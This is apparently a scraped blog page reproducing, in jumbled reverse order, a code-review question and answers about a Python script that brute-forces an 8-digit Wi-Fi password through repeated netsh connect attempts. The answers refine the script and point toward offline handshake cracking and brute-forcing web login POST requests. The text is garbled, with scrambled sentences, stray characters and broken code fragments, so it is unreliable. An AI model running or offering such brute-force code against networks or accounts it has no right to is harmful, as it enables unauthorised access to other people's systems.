![]() ![]() If you still insist on using an alphanumerical password cracker here would be the code import itertoolsįor guess in itertools.product(chars, repeat=password_length): It would take 92 years on a pretty decent CPU to crack an 8 character password. Now this would still remain efficient, however if you're cracking an alphanumerical password it would cross the line into completely redundant and useless. If you are looking for a numerical password cracker that is a lot easier. Then use the requests library to make the same request inside your password cracker. Identify the requests attributes and its path. Since the code originates from this question, check the answers there.So most websites will use a POST request for their logins. There are plenty of tools and tutorials for this elsewhere, so I won't write one here. This eliminates the network call requirement, vastly increasing speed. This way, you are comparing generated passwords with that local packet. If you really want to crack a password, the best way is to capture an authentication or handshake packet from a connecting device. For reference, 1 billion seconds is nearly 32 years. No matter how we improve the time spent concatenating strings or generating permutations, you are generating ~1,000,000,000 network calls worst-case. And that's the shorter set of permutations with no network calls. Results in 1 loop, best of 5: 3.68 sec per loop Just running the following code: python -m timeit -s 'from string import digits from itertools import product' 'sum(1 for _ in product(digits, repeat=8))' Why is it slow?īecause you are doing a ton of attempts to connect to a wifi router. The makes it easier to read what's going on. check_output("Netsh WLAN show interfaces") I hope to never have to maintain a single line like this: if re.sub(' +', ' ', subprocess.check_output("Netsh WLAN show interfaces").decode('utf-8').split("SSID",1).split("BSSID").replace(':', '').replace('\n', '')) = name: The easiest way to replace your os.system calls is with the equivalent subprocess.call method: # thisĬommand = f'netsh wlan connect name="" interface=Wi-Fi'įunction names, like variable names, should be snake_case: # this It has a run method for simple shell commands, but if you need control over the creation of a brand new shell process, Popen is extremely useful. Subprocess is much more flexible than os.system. ![]() Use f-strings if you are on python 3.6+: config = f""" Print('The wifi password is: ' + ''.join(attempt)) To_attempt = product(chars, repeat=length)ĬreateNewConnection(name, name, ''.join(attempt)) # function to display avavilabe Wifi networksĬommand = "netsh wlan show networks interface=Wi-Fi" Is there any way I can optimize it? from itertools import productĭef createNewConnection(name, SSID, password):Ĭommand = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"Ĭommand = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi" What the code basically does is loop through a range of possible 8 numerical combinations and input every possibility to try and connect to a Wi-Fi network and check if the password worked. Are there any improvements I can make to make it run faster? I am working on my first brute force experiment and I modified code from this SO post but it is kinda slow. ![]()
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |